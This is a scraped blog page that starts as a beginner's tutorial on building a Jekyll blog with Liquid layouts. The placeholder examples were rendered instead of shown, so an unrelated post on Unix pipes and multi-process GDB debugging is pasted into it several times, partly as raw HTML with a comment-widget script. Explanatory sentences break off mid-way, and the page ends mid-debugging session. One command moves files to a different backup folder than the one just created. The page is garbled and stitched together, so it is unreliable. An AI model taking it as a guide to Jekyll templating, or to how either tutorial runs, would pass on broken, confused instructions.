Pufan Jiang's Blog

Make Things Simple

Blog with Jekyll for beginners

This article

example-blog

Pre-requists

  • Basic understanding of HTML, CSS, JS and their relations
  • Ruby experience or other programming experience to pick up Ruby quickly (< 3 mins)
  • Mac (if you’re using aother platform, please change the commands accordingly)

Build your blog with Jekyll

Install Jekyll

Remember all the commands are only tested on Mac OS.

gem install jekyll

Set up environment

Navigate to the directory you want your blog be put to. In my case, I will choose /tmp so that it won’t miss up my whole system.

> cd /tmp
> jekyll new my-blog
New jekyll site installed in /private/tmp/my-blog.

By running the last command, you have created a directory organized in a way that Jekyll could create static website from.

Create a post

Before all, let’s remove default files Jekyll created for us. In this article, we will use much simpler layouts, but the idea is the same.

> mkdir /tmp/blog-backup
> mv _includes/* _layouts/* _posts/* css/* _sass/* index.html about.md /tmp/backup/

Layout

Post layout

Now let’s create a layout for your blog posts. A layout is same as a template. You could think about it like creating a Pointer Point / Keynote. For each slide, it has a structure, e.g. a title and a body text, and what you need to do is only fill in the content.

Jekyll is great to separate layout/template from contents.

We create layout using HTML, CSS, JS and Liquid. In the layout, we put some special marks as placeholders, so that the content could be inserted by Jekyll and Liquid.

Once you have created the layout, you could focus on contents and Jekyll will put them together and render the website.

This may sound abstract, let’s have a dry run!

> cd my-blog
> vim _layout/post.html # Or use your favorite text editor to create _layout/post.html

This is the simple post HTML.

---
layout: default
---
<div>
	<header>
		<h1>{{ page.title }}</h1>
		<p>{{ page.date | date: "%b %-d, %Y" }}</p>
	</header>

	<article>
		{{ content }}
	</article>
</div>

Now, stop reading and check out Liquid for designers to get a basic understanding of these curly brackets.

If you did read the article, you should understand

  • `````` is nothing but a placeholder, Liquid will later replace variable foo with its actual value. For example, ```

Blog with Jekyll for beginners

Posted on February 10, 2017 Updated on February 10, 2017

This article

  • shows how to build a simple blog website with Jekyll from scratch (you could also build your blog on top of others once you learnt the essential skills)
  • use Liquid and Jekyll plugin to customize article previews front matter
  • example blog

example-blog

Pre-requists

  • Basic understanding of HTML, CSS, JS and their relations
  • Ruby experience or other programming experience to pick up Ruby quickly (< 3 mins)
  • Mac (if you’re using aother platform, please change the commands accordingly)

Build your blog with Jekyll

Install Jekyll

Remember all the commands are only tested on Mac OS.

gem install jekyll

Set up environment

Navigate to the directory you want your blog be put to. In my case, I will choose /tmp so that it won’t miss up my whole system.

> cd /tmp
> jekyll new my-blog
New jekyll site installed in /private/tmp/my-blog.

By running the last command, you have created a directory organized in a way that Jekyll could create static website from.

Create a post

Before all, let’s remove default files Jekyll created for us. In this article, we will use much simpler layouts, but the idea is the same.

> mkdir /tmp/blog-backup
> mv _includes/* _layouts/* _posts/* css/* _sass/* index.html about.md /tmp/backup/

Layout

Post layout

Now let’s create a layout for your blog posts. A layout is same as a template. You could think about it like creating a Pointer Point / Keynote. For each slide, it has a structure, e.g. a title and a body text, and what you need to do is only fill in the content.

Jekyll is great to separate layout/template from contents.

We create layout using HTML, CSS, JS and Liquid. In the layout, we put some special marks as placeholders, so that the content could be inserted by Jekyll and Liquid.

Once you have created the layout, you could focus on contents and Jekyll will put them together and render the website.

This may sound abstract, let’s have a dry run!

> cd my-blog
> vim _layout/post.html # Or use your favorite text editor to create _layout/post.html

This is the simple post HTML.

---
layout: default
---
<div>
	<header>
		<h1>Blog with Jekyll for beginners</h1>
		<p>Feb 10, 2017</p>
	</header>

	<article>
		<!-- Post Header -->
<header class="intro-header" >
    <div class="container">
        <div class="row">
            <div class="col-lg-8 col-lg-offset-2 col-md-10 col-md-offset-1">
                <div class="post-heading">
                    <div class="tags">
                        
                        <a class="tag" href="/tags/#c" title="c">c</a>
                        
                        <a class="tag" href="/tags/#unix" title="unix">unix</a>
                        
                        <a class="tag" href="/tags/#gdb" title="gdb">gdb</a>
                        
                        <a class="tag" href="/tags/#system" title="system">system</a>
                        
                    </div>
                    <h1>Inter-process communication using pipe and multiprocess debugging using GDB</h1>
                    
                    
                    <h2 class="subheading"></h2>
                    
                    <span class="meta">Posted on February 3, 2017</span>
                    <span class="meta">Updated on February 3, 2017</span>
                </div>
            </div>
        </div>
    </div>
</header>

<!-- Post Content -->
<article>
    <div class="container">
        <div class="row">

    <!-- Post Container -->
            <div class="
                col-lg-8 col-lg-offset-2
                col-md-10 col-md-offset-1
                post-container">

				<p>In this article, we’ll walk through a simple example showing</p>

<ul>
  <li>how to use unix pipe for inter-process communication</li>
  <li>how to debug a program of three processes using GDB</li>
</ul>

<!-- excerpt -->
<hr />
<hr />

<h3 id="pre-requists">Pre-requists</h3>

<ul>
  <li>experience using pipe in terminal/bash, and understand basic concept of pipe (checkout the video <a href="https://www.youtube.com/watch?v=tc4ROCJYbm0">Unix intro</a>)</li>
  <li>experience using GDB, know how to set breakpoints (checkout <a href="https://sourceware.org/gdb/onlinedocs/gdb/index.html#Top">GDB tutorial</a>)</li>
  <li>c language readability (espicially <code class="language-plaintext highlighter-rouge">fork</code>, <code class="language-plaintext highlighter-rouge">exec</code>)</li>
  <li>understand I/O redirect (checkout <code class="language-plaintext highlighter-rouge">man dup</code>)</li>
</ul>

<h3 id="the-problem">The problem</h3>

<p>The problem is to</p>

<ol>
  <li>load two pre-built programs</li>
  <li>stream the output of the first program to the second one</li>
  <li>print the result of the second program</li>
  <li>print a finish sentence when both programs finish</li>
</ol>

<p>For example, we want to mimic the action of such bash command:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/ls | /bin/sort
</code></pre></div></div>

<h3 id="the-first-version">The first version</h3>

<p>Our very first version almost works, it</p>

<ol>
  <li>sets up a pipe for later inter-process communication</li>
  <li>forks two processes</li>
  <li>modifies pipe for each process, so that the input/output is correctly redirected</li>
  <li>loads the pre-built programs to the processes</li>
  <li>prints the finish sentence</li>
</ol>

<p>The C file is <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/first.c">here</a>.</p>

<p>Compile and run the program (assuming you have <code class="language-plaintext highlighter-rouge">gcc</code> installed). Notice you may need to modify positions for <code class="language-plaintext highlighter-rouge">ls</code> and <code class="language-plaintext highlighter-rouge">sort</code> programs if the belowing positions do not work.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o first first.c
./first /bin/ls /usr/bin/sort
</code></pre></div></div>

<p>Here is the output:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Run two programs succeeded!
README.md                                                                                                                                                                            
a.out
first
first.c
</code></pre></div></div>

<p>And this the output of pipe in terminal:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/ls | /usr/bin/sort 

README.md
a.out
first
first.c
</code></pre></div></div>

<p>We see the two outputs are exactly the same! Congratulations… But the finish sentence appears on top of the output instead of at the end.</p>

<p>This is mainly because of printing a simple sentence usually runs much faster than loading and executing two small programs.</p>

<p>To fix the problem, let’s move on to second version.</p>

<h3 id="the-second-version">The second version</h3>

<p>At first glance, we may think it extremely easy to fix the problem: just add wait statement in the last <code class="language-plaintext highlighter-rouge">else</code> branch, so that the main program will print the finish sentence after child processes finish.</p>

<p>The second version is at <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/second.c">here</a>. Notice the only difference is two additional lines (105-106).</p>

<p>Compile and run:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o second second.c
./second /bin/ls /usr/bin/sort
</code></pre></div></div>

<p>We will find the program <strong>never</strong> finishes!</p>

<p>Instead of telling you why the program breaks, we will use GDB to find out the reason together.</p>

<p>Compile the program again with debug information and use GDB to execute the program:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -g -O0 -o second second.c 
gdb --args second /bin/ls /usr/bin/sort
</code></pre></div></div>

<p>Before everything, let’s set <code class="language-plaintext highlighter-rouge">detach-on-fork</code> environment variable of GDB to off.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>set detach-on-fork off
</code></pre></div></div>

<p>By doint this, we could switch between processes easily. More details on this environment at <a href="https://sourceware.org/gdb/onlinedocs/gdb/Forks.html">here</a>.</p>

<p>Now let’s set breakpoint at right before <code class="language-plaintext highlighter-rouge">waitpid</code> system call and run the program</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) br second.c:105
Breakpoint 1 at 0x400b27: file second.c, line 105.
(gdb) r
...
Breakpoint 1, main (argc=3, argv=0x7fffffffe438) at second.c:105
105			waitpid(pid1, NULL, 0);
</code></pre></div></div>

<p>Now use <code class="language-plaintext highlighter-rouge">next</code> command of GDB to step through the functions.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) n
106			waitpid(pid2, NULL, 0);
(gdb) n
</code></pre></div></div>

<p>This means the first program finishes successfully, but the second one suspends and never returns!</p>

<p>In order to figure out why the second program never returns, let’s run the program again, and use <code class="language-plaintext highlighter-rouge">catch</code>, <code class="language-plaintext highlighter-rouge">inferior</code> commands to go to that child process instead of the parent process.</p>

<p>First, let GDB stops when a <code class="language-plaintext highlighter-rouge">fork</code> system call is called</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) catch fork
Catchpoint 1 (fork)
</code></pre></div></div>

<p>Next, go to the fork statement at line 84.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) r
Starting program: second /bin/ls /usr/bin/sort

Catchpoint 1 (forked process 6134), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
130	../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c: No such file or directory.
(gdb) c
Continuing.
[New process 6134]

Catchpoint 1 (forked process 6147), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
130	in ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c
(gdb) finish
Run till exit from #0  0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
[New process 6147]
0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
84		else if (0 == (pid2 = fork()))
Value returned is $1 = 6147
</code></pre></div></div>

<p>Notice we meet two <code class="language-plaintext highlighter-rouge">fork</code> system calls. The first one corresponds to the one at line 67, and second one is what we’re interested in.</p>

<p>GDB use the concept of <em>inferior</em> to refer to threads, processes etc. To see currently running processes, just run</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) info inferiors 
  Num  Description       Executable        
  3    process 6147      second 
  2    process 6134      second 
* 1    process 6127      second
</code></pre></div></div>

<p>Notice both executable names of child processes are “second”. This means the <code class="language-plaintext highlighter-rouge">/bin/ls</code> and <code class="language-plaintext highlighter-rouge">/usr/bin/sort</code> are not loaded yet. This is because by setting <code class="language-plaintext highlighter-rouge">detach-on-fork</code> off, the newly created processes will be suspended by default.</p>

<p>Let’s switch to first program (inferior 2) and let it finish.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 2
...
(gdb) c
Continuing.
process 6134 is executing new program: /bin/ls
Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.19.so...done.
[Inferior 2 (process 6134) exited normally]
</code></pre></div></div>

<p>Now only two inferiors are left.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) info inferiors 
  Num  Description       Executable        
  3    process 6147      second 
* 2    &lt;null&gt;            /bin/ls           
  1    process 6127      second 
</code></pre></div></div>

<p>The process 6147 (inferior 1) is the one we’re actually interested in. Let’s figure out at which statement it stucks.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 3
...
(gdb) finish
Run till exit from #0  __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:137
0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
84		else if (0 == (pid2 = fork()))
Value returned is $2 = 0
(gdb) n
88		    	if (-1 == close(pipefd[1])) {
(gdb) n
94		    	if (-1 == dup2(pipefd[0], STDIN_FILENO)) {
(gdb) n
98		    	run(program2);
(gdb) n

</code></pre></div></div>

<p>The program seems stuck when executing <code class="language-plaintext highlighter-rouge">/usr/bin/sort</code>. A guess is input file is never closed. Let’s check.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>^Z
Program received signal SIGTSTP, Stopped (user).
0x00007ffff78e26b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
81	in ../sysdeps/unix/syscall-template.S
(gdb) shell ls -l /proc/6147/fd
total 0
lr-x------ 1 parallels parallels 64 Feb  3 16:37 0 -&gt; pipe:[91298]
lrwx------ 1 parallels parallels 64 Feb  3 16:37 1 -&gt; /dev/pts/25
lrwx------ 1 parallels parallels 64 Feb  3 16:37 2 -&gt; /dev/pts/25
lr-x------ 1 parallels parallels 64 Feb  3 16:37 3 -&gt; pipe:[91298]
</code></pre></div></div>

<p>Exactly! The read end of pipe is still opening! The read end should close automatically when the write end closes. The write end is closed in the first program. But it is never been closed in the parent program! And now we find out the reason of the bug!</p>

<p>Just to make sure our guess is correct, let’s examine open file descriptors in parent process.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 1
[Switching to inferior 1 [process 6127] (second)]
[Switching to thread 1 (process 6127)] 
#0  0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
84		else if (0 == (pid2 = fork()))
(gdb) c
Continuing.
^Z
Program received signal SIGTSTP, Stopped (user).
0x00007ffff7ad5a0c in __libc_waitpid (pid=6147, stat_loc=0x0, options=0) at ../sysdeps/unix/sysv/linux/waitpid.c:31
31	../sysdeps/unix/sysv/linux/waitpid.c: No such file or directory.
(gdb) shell ls -l /proc/6127/fd
total 0
lrwx------ 1 parallels parallels 64 Feb  3 16:29 0 -&gt; /dev/pts/25
lrwx------ 1 parallels parallels 64 Feb  3 16:29 1 -&gt; /dev/pts/25
lrwx------ 1 parallels parallels 64 Feb  3 16:29 2 -&gt; /dev/pts/25
lr-x------ 1 parallels parallels 64 Feb  3 16:29 3 -&gt; pipe:[91298]
l-wx------ 1 parallels parallels 64 Feb  3 16:29 4 -&gt; pipe:[91298]
</code></pre></div></div>

<p>And we know the pipe is indeed not closed in parent process. This leads us to third version.</p>

<h3 id="the-third-version">The third version</h3>

<p>In order to fix the bug, we need to close both ends of pipe before waiting for child processes to terminate.</p>

<p>The third version is <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/third.c">here</a>.</p>

<p>Now let’s test the program again.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o third third.c 
./third /bin/ls /usr/bin/sort
</code></pre></div></div>

<p>And here is the result on my machine,</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>README.md
first.c
second.c
third
third.c
Run two programs succeeded!
</code></pre></div></div>

<p>which is the same as the result of terminal.</p>

<h3 id="conclusion">Conclusion</h3>

<p>In this article, we walk through a simple example that create two processes and load one binary image for each process. Additionally, we use GDB for debugging a bug in multi-process environment.</p>

<p>We learnt</p>

<ul>
  <li>C and Unix skills
    <ul>
      <li>pipe</li>
      <li>fork</li>
      <li>waitpid</li>
      <li>dup</li>
    </ul>
  </li>
  <li>GDB skills
    <ul>
      <li>catch</li>
      <li>inferior</li>
    </ul>
  </li>
</ul>


                <hr>

                <ul class="pager">
                    
                    <li class="previous">
                        <a href="/2016/04/20/concurrency-vs-parallelism/" data-toggle="tooltip" data-placement="top" title="Concurrency vs. Parallelism">&larr; Previous Post</a>
                    </li>
                    
                    
                    <li class="next">
                        <a href="/2017/02/10/blog-with-Jekyll-for-beginner/" data-toggle="tooltip" data-placement="top" title="Blog with Jekyll for beginners">Next Post &rarr;</a>
                    </li>
                    
                </ul>

                
                <!-- disqus 评论框 start -->
                <div class="comment">
                    <div id="disqus_thread" class="disqus-thread"></div>
                </div>
                <!-- disqus 评论框 end -->
                

            </div>

    <!-- Sidebar Container -->
    <!--
            <div class="
                col-lg-8 col-lg-offset-2
                col-md-10 col-md-offset-1
                sidebar-container" id="toc">
            </div>
    -->
        </div>
    </div>
</article>


<!-- disqus 公共JS代码 start (一个网页只需插入一次) -->
<script type="text/javascript">
    /* * * CONFIGURATION VARIABLES * * */
    var disqus_shortname = "pufan-jiangs-blog";
    var disqus_identifier = "/2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB";
    var disqus_url = "http://otnt.github.io//2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB/";

    (function() {
        var dsq = document.createElement('script'); dsq.type = 'text/javascript'; dsq.async = true;
        dsq.src = '//' + disqus_shortname + '.disqus.com/embed.js';
        (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(dsq);
    })();
</script>
<!-- disqus 公共JS代码 end -->


	</article>
</div>

Now, stop reading and check out Liquid for designers to get a basic understanding of these curly brackets.

If you did read the article, you should understand

  • `````` is nothing but a placeholder, Liquid will later replace variable foo with its actual value. For example, ```

Inter-process communication using pipe and multiprocess debugging using GDB

Posted on February 3, 2017 Updated on February 3, 2017

In this article, we’ll walk through a simple example showing

  • how to use unix pipe for inter-process communication
  • how to debug a program of three processes using GDB


Pre-requists

  • experience using pipe in terminal/bash, and understand basic concept of pipe (checkout the video Unix intro)
  • experience using GDB, know how to set breakpoints (checkout GDB tutorial)
  • c language readability (espicially fork, exec)
  • understand I/O redirect (checkout man dup)

The problem

The problem is to

  1. load two pre-built programs
  2. stream the output of the first program to the second one
  3. print the result of the second program
  4. print a finish sentence when both programs finish

For example, we want to mimic the action of such bash command:

/bin/ls | /bin/sort

The first version

Our very first version almost works, it

  1. sets up a pipe for later inter-process communication
  2. forks two processes
  3. modifies pipe for each process, so that the input/output is correctly redirected
  4. loads the pre-built programs to the processes
  5. prints the finish sentence

The C file is here.

Compile and run the program (assuming you have gcc installed). Notice you may need to modify positions for ls and sort programs if the belowing positions do not work.

gcc -o first first.c
./first /bin/ls /usr/bin/sort

Here is the output:

Run two programs succeeded!
README.md                                                                                                                                                                            
a.out
first
first.c

And this the output of pipe in terminal:

/bin/ls | /usr/bin/sort 

README.md
a.out
first
first.c

We see the two outputs are exactly the same! Congratulations… But the finish sentence appears on top of the output instead of at the end.

This is mainly because of printing a simple sentence usually runs much faster than loading and executing two small programs.

To fix the problem, let’s move on to second version.

The second version

At first glance, we may think it extremely easy to fix the problem: just add wait statement in the last else branch, so that the main program will print the finish sentence after child processes finish.

The second version is at here. Notice the only difference is two additional lines (105-106).

Compile and run:

gcc -o second second.c
./second /bin/ls /usr/bin/sort

We will find the program never finishes!

Instead of telling you why the program breaks, we will use GDB to find out the reason together.

Compile the program again with debug information and use GDB to execute the program:

gcc -g -O0 -o second second.c 
gdb --args second /bin/ls /usr/bin/sort

Before everything, let’s set detach-on-fork environment variable of GDB to off.

set detach-on-fork off

By doint this, we could switch between processes easily. More details on this environment at here.

Now let’s set breakpoint at right before waitpid system call and run the program

(gdb) br second.c:105
Breakpoint 1 at 0x400b27: file second.c, line 105.
(gdb) r
...
Breakpoint 1, main (argc=3, argv=0x7fffffffe438) at second.c:105
105			waitpid(pid1, NULL, 0);

Now use next command of GDB to step through the functions.

(gdb) n
106			waitpid(pid2, NULL, 0);
(gdb) n

This means the first program finishes successfully, but the second one suspends and never returns!

In order to figure out why the second program never returns, let’s run the program again, and use catch, inferior commands to go to that child process instead of the parent process.

First, let GDB stops when a fork system call is called

(gdb) catch fork
Catchpoint 1 (fork)

Next, go to the fork statement at line 84.

(gdb) r
Starting program: second /bin/ls /usr/bin/sort

Catchpoint 1 (forked process 6134), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
130	../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c: No such file or directory.
(gdb) c
Continuing.
[New process 6134]

Catchpoint 1 (forked process 6147), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
130	in ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c
(gdb) finish
Run till exit from #0  0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
[New process 6147]
0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
84		else if (0 == (pid2 = fork()))
Value returned is $1 = 6147

Notice we meet two fork system calls. The first one corresponds to the one at line 67, and second one is what we’re interested in.

GDB use the concept of inferior to refer to threads, processes etc. To see currently running processes, just run

(gdb) info inferiors 
  Num  Description       Executable        
  3    process 6147      second 
  2    process 6134      second 
* 1    process 6127      second

Notice both executable names of child processes are “second”. This means the /bin/ls and /usr/bin/sort are not loaded yet. This is because by setting detach-on-fork off, the newly created processes will be suspended by default.

Let’s switch to first program (inferior 2) and let it finish.

(gdb) inferior 2
...
(gdb) c
Continuing.
process 6134 is executing new program: /bin/ls
Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.19.so...done.
[Inferior 2 (process 6134) exited normally]

Now only two inferiors are left.

(gdb) info inferiors 
  Num  Description       Executable        
  3    process 6147      second 
* 2    <null>            /bin/ls           
  1    process 6127      second 

The process 6147 (inferior 1) is the one we’re actually interested in. Let’s figure out at which statement it stucks.

(gdb) inferior 3
...
(gdb) finish
Run till exit from #0  __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:137
0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
84		else if (0 == (pid2 = fork()))
Value returned is $2 = 0
(gdb) n
88		    	if (-1 == close(pipefd[1])) {
(gdb) n
94		    	if (-1 == dup2(pipefd[0], STDIN_FILENO)) {
(gdb) n
98		    	run(program2);
(gdb) n

The program seems stuck when executing /usr/bin/sort. A guess is input file is never closed. Let’s check.

^Z
Program received signal SIGTSTP, Stopped (user).
0x00007ffff78e26b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
81	in ../sysdeps/unix/syscall-template.S
(gdb) shell ls -l /proc/6147/fd
total 0
lr-x------ 1 parallels parallels 64 Feb  3 16:37 0 -> pipe:[91298]
lrwx------ 1 parallels parallels 64 Feb  3 16:37 1 -> /dev/pts/25
lrwx------ 1 parallels parallels 64 Feb  3 16:37 2 -> /dev/pts/25
lr-x------ 1 parallels parallels 64 Feb  3 16:37 3 -> pipe:[91298]

Exactly! The read end of pipe is still opening! The read end should close automatically when the write end closes. The write end is closed in the first program. But it is never been closed in the parent program! And now we find out the reason of the bug!

Just to make sure our guess is correct, let’s examine open file descriptors in parent process.

(gdb) inferior 1
[Switching to inferior 1 [process 6127] (second)]
[Switching to thread 1 (process 6127)] 
#0  0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
84		else if (0 == (pid2 = fork()))
(gdb) c
Continuing.
^Z
Program received signal SIGTSTP, Stopped (user).
0x00007ffff7ad5a0c in __libc_waitpid (pid=6147, stat_loc=0x0, options=0) at ../sysdeps/unix/sysv/linux/waitpid.c:31
31	../sysdeps/unix/sysv/linux/waitpid.c: No such file or directory.
(gdb) shell ls -l /proc/6127/fd
total 0
lrwx------ 1 parallels parallels 64 Feb  3 16:29 0 -> /dev/pts/25
lrwx------ 1 parallels parallels 64 Feb  3 16:29 1 -> /dev/pts/25
lrwx------ 1 parallels parallels 64 Feb  3 16:29 2 -> /dev/pts/25
lr-x------ 1 parallels parallels 64 Feb  3 16:29 3 -> pipe:[91298]
l-wx------ 1 parallels parallels 64 Feb  3 16:29 4 -> pipe:[91298]

And we know the pipe is indeed not closed in parent process. This leads us to third version.

The third version

In order to fix the bug, we need to close both ends of pipe before waiting for child processes to terminate.

The third version is here.

Now let’s test the program again.

gcc -o third third.c 
./third /bin/ls /usr/bin/sort

And here is the result on my machine,

README.md
first.c
second.c
third
third.c
Run two programs succeeded!

which is the same as the result of terminal.

Conclusion

In this article, we walk through a simple example that create two processes and load one binary image for each process. Additionally, we use GDB for debugging a bug in multi-process environment.

We learnt

  • C and Unix skills
    • pipe
    • fork
    • waitpid
    • dup
  • GDB skills
    • catch
    • inferior

``` is a variable created by Jekyll, whose value is the actual blog content you composed.

  • In``````, the | is just like Unix pipe supporting casacading operations.
  • In ``````, the : v1, v2 is the input arguments for filter bar.

Now you may have two questions:

  • The HTML file is incomplete, for example <!DOCTYPE html> etc. are missing,
  • The first three lines of post.html is mistery,

so let’s move on.

The complete layout

At this point, you may be wondering what the heck is that on top of the file:

---
layout: default
---

Jekyll use YAML to manage meta data of your web pages. This layout: default tells Jekyll to search for default.html in directory _layout, and then **replace the placeholder ```

Inter-process communication using pipe and multiprocess debugging using GDB

Posted on February 3, 2017 Updated on February 3, 2017

In this article, we’ll walk through a simple example showing

  • how to use unix pipe for inter-process communication
  • how to debug a program of three processes using GDB


Pre-requists

  • experience using pipe in terminal/bash, and understand basic concept of pipe (checkout the video Unix intro)
  • experience using GDB, know how to set breakpoints (checkout GDB tutorial)
  • c language readability (espicially fork, exec)
  • understand I/O redirect (checkout man dup)

The problem

The problem is to

  1. load two pre-built programs
  2. stream the output of the first program to the second one
  3. print the result of the second program
  4. print a finish sentence when both programs finish

For example, we want to mimic the action of such bash command:

/bin/ls | /bin/sort

The first version

Our very first version almost works, it

  1. sets up a pipe for later inter-process communication
  2. forks two processes
  3. modifies pipe for each process, so that the input/output is correctly redirected
  4. loads the pre-built programs to the processes
  5. prints the finish sentence

The C file is here.

Compile and run the program (assuming you have gcc installed). Notice you may need to modify positions for ls and sort programs if the belowing positions do not work.

gcc -o first first.c
./first /bin/ls /usr/bin/sort

Here is the output:

Run two programs succeeded!
README.md                                                                                                                                                                            
a.out
first
first.c

And this the output of pipe in terminal:

/bin/ls | /usr/bin/sort 

README.md
a.out
first
first.c

We see the two outputs are exactly the same! Congratulations… But the finish sentence appears on top of the output instead of at the end.

This is mainly because of printing a simple sentence usually runs much faster than loading and executing two small programs.

To fix the problem, let’s move on to second version.

The second version

At first glance, we may think it extremely easy to fix the problem: just add wait statement in the last else branch, so that the main program will print the finish sentence after child processes finish.

The second version is at here. Notice the only difference is two additional lines (105-106).

Compile and run:

gcc -o second second.c
./second /bin/ls /usr/bin/sort

We will find the program never finishes!

Instead of telling you why the program breaks, we will use GDB to find out the reason together.

Compile the program again with debug information and use GDB to execute the program:

gcc -g -O0 -o second second.c 
gdb --args second /bin/ls /usr/bin/sort

Before everything, let’s set detach-on-fork environment variable of GDB to off.

set detach-on-fork off

By doint this, we could switch between processes easily. More details on this environment at here.

Now let’s set breakpoint at right before waitpid system call and run the program

(gdb) br second.c:105
Breakpoint 1 at 0x400b27: file second.c, line 105.
(gdb) r
...
Breakpoint 1, main (argc=3, argv=0x7fffffffe438) at second.c:105
105			waitpid(pid1, NULL, 0);

Now use next command of GDB to step through the functions.

(gdb) n
106			waitpid(pid2, NULL, 0);
(gdb) n

This means the first program finishes successfully, but the second one suspends and never returns!

In order to figure out why the second program never returns, let’s run the program again, and use catch, inferior commands to go to that child process instead of the parent process.

First, let GDB stops when a fork system call is called

(gdb) catch fork
Catchpoint 1 (fork)

Next, go to the fork statement at line 84.

(gdb) r
Starting program: second /bin/ls /usr/bin/sort

Catchpoint 1 (forked process 6134), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
130	../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c: No such file or directory.
(gdb) c
Continuing.
[New process 6134]

Catchpoint 1 (forked process 6147), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
130	in ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c
(gdb) finish
Run till exit from #0  0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
[New process 6147]
0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
84		else if (0 == (pid2 = fork()))
Value returned is $1 = 6147

Notice we meet two fork system calls. The first one corresponds to the one at line 67, and second one is what we’re interested in.

GDB use the concept of inferior to refer to threads, processes etc. To see currently running processes, just run

(gdb) info inferiors 
  Num  Description       Executable        
  3    process 6147      second 
  2    process 6134      second 
* 1    process 6127      second

Notice both executable names of child processes are “second”. This means the /bin/ls and /usr/bin/sort are not loaded yet. This is because by setting detach-on-fork off, the newly created processes will be suspended by default.

Let’s switch to first program (inferior 2) and let it finish.

(gdb) inferior 2
...
(gdb) c
Continuing.
process 6134 is executing new program: /bin/ls
Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.19.so...done.
[Inferior 2 (process 6134) exited normally]

Now only two inferiors are left.

(gdb) info inferiors 
  Num  Description       Executable        
  3    process 6147      second 
* 2    <null>            /bin/ls           
  1    process 6127      second 

The process 6147 (inferior 1) is the one we’re actually interested in. Let’s figure out at which statement it stucks.

(gdb) inferior 3
...
(gdb) finish
Run till exit from #0  __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:137
0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
84		else if (0 == (pid2 = fork()))
Value returned is $2 = 0
(gdb) n
88		    	if (-1 == close(pipefd[1])) {
(gdb) n
94		    	if (-1 == dup2(pipefd[0], STDIN_FILENO)) {
(gdb) n
98		    	run(program2);
(gdb) n

The program seems stuck when executing /usr/bin/sort. A guess is input file is never closed. Let’s check.

^Z
Program received signal SIGTSTP, Stopped (user).
